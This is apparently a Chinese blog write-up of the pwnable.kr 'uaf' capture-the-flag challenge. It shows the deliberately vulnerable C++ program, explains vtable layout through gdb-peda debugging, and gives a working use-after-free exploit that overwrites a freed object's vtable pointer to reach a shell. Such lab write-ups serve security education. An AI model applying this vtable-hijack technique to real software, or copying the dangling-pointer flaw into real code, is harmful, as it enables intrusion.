Keep Calm and Carry On

pwnable-kr-uaf

0x01 分析

简单的use-after-free的漏洞,明显可以看到在选择case3的时候,将两个对象m和w释放时候没有将指针置零,出现悬空指针,如果后续可以重新分配回这两块被释放的内存,然后又被指针m或者w操作,就会出现一些问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};

class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};

class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};

int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

return 0;
}

首先要明确c++类的几个问题:

  1. 类的大小问题
    1. 类的大小与普通成员变量、虚函数、继承有关,而与静态成员变量、静态成员函数、普通成员函数无关;
    2. 空类(没有成员函数、成员变量)和只含有成员函数的类大小为1字节、用于占位;
    3. 一般类的大小只需要计算成员变量即可(注意和4字节或者8字节对齐);
    4. 含有虚函数的单一继承,对象内存空间最开始(偏移为0)是虚函数表指针,然后排列成员函数(注意对齐原则);
    5. 如果派生类继承了含有虚函数的基类,还重写了基类的虚函数,还定义了自己的虚函数,那么对象内存空间最开始还是虚函数表指针,虚函数表将会用重写的虚函数代替基类的虚函数,并添加自己的虚函数;
    6. 如果派生类继承了多个含有虚函数的基类,那么派生类的虚函数表按照5与第一个基类合并,其他的同时继承过来(也就会会有多个虚函数指针);

0x02 利用思路

  1. 程序接受2个命令行参数arg1和arg2, 在选择case2的时候这两个参数生效,第一个参数用于申请arg1个字节的空间,第二个参数用于从文件arg2中读取arg1个字节的数据;

  2. 如果先选择case3,就会出现2块被释放的空间,同时有两个悬空指针,那么此时如果arg1==被释放的空间的大小,就会重新申请回来,并且这块空间的数据是可控的(从文件arg2中读取arg1个字节写入这块空间);

  1. 由于w是后释放的,因此要连续分配两次才可以获取到m的空间;

  2. 在申请到的m的空间中写入give_shell的地址,当调用introduce的时候就实际上调用了give_shell;

0x03调试

  1. 分配的空间的大小:由于含有一个string,而不同的string实现库有不同的实现,因此不知道string占4、8、12或者更多字节。

    1
    2
    0x0000000000400efb <+55>:	mov    edi,0x18
    0x0000000000400f00 <+60>: call 0x400d90 <operator new(unsigned long)@plt>

在operator new之前的指令说明对象的大小为0x18(24)个字节。

  1. give_shell()的地址

    每个类都有一个vtable,而每个对象有一个虚表指针vptr指向vtable,在内存布局中位于对象内存偏移量为0的地方。

    为了找到虚函数的地址,断点下在构造函数0x0000000000400f13 <+79>: call 0x401264 <Man::Man(std::string, int)>ni指向到下一条指令,而64位中使用rax传递返回值,此时的rax值就是对象的地址值,对象的前8byte就是虚表地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    [----------------------------------registers-----------------------------------]
    RAX: 0x12bbc50 --> 0x401570 --> 0x40117a (<Human::give_shell()>: push rbp)
    RBX: 0x12bbc50 --> 0x401570 --> 0x40117a (<Human::give_shell()>: push rbp)
    [-------------------------------------code-------------------------------------]
    0x400f13 <main+79>: call 0x401264 <Man::Man(std::string, int)>
    => 0x400f18 <main+84>: mov QWORD PTR [rbp-0x38],rbx
    [------------------------------------stack-------------------------------------]

    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0x0000000000400f18 in main ()
    gdb-peda$ x/10gx 0x12bbc50
    0x12bbc50: 0x0000000000401570 0x0000000000000019
    0x12bbc60: 0x00000000012bbc38 0x00000000000203a1
    0x12bbc70: 0x0000000000000000 0x0000000000000000
    0x12bbc80: 0x0000000000000000 0x0000000000000000
    0x12bbc90: 0x0000000000000000 0x0000000000000000
    gdb-peda$ x/10gx 0x0000000000401570
    0x401570 <vtable for Man+16>: 0x000000000040117a 0x00000000004012d2
    0x401580 <vtable for Human>: 0x0000000000000000 0x00000000004015f0
    0x401590 <vtable for Human+16>: 0x000000000040117a 0x0000000000401192
    0x4015a0 <typeinfo name for Woman>: 0x00006e616d6f5735 0x0000000000000000
    0x4015b0 <typeinfo for Woman>: 0x0000000000602390 0x00000000004015a0
    gdb-peda$ x/gx 0x000000000040117a
    0x40117a <Human::give_shell()>: 0x10ec8348e5894855
    gdb-peda$ x/gx 0x00000000004012d2

    内存布局如下:

    为了让程序在调用introduce的时候变成调用give_shell,而由于调用虚函数就是虚表首地址+偏移,因此可以让对象的vptr指向0x401570 - 0x8 = 0x401568的位置,当调用introduce就变成了调用give_shell。

    0x04 利用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    $ touch magic
    $ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > magic
    $ cat magic
    h@
    $ ./uaf 24 magic
    1. use
    2. after
    3. free
    3
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    1
    $ id
    uid=1000(drinkwater) gid=1000(drinkwater) groups=1000(drinkwater),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)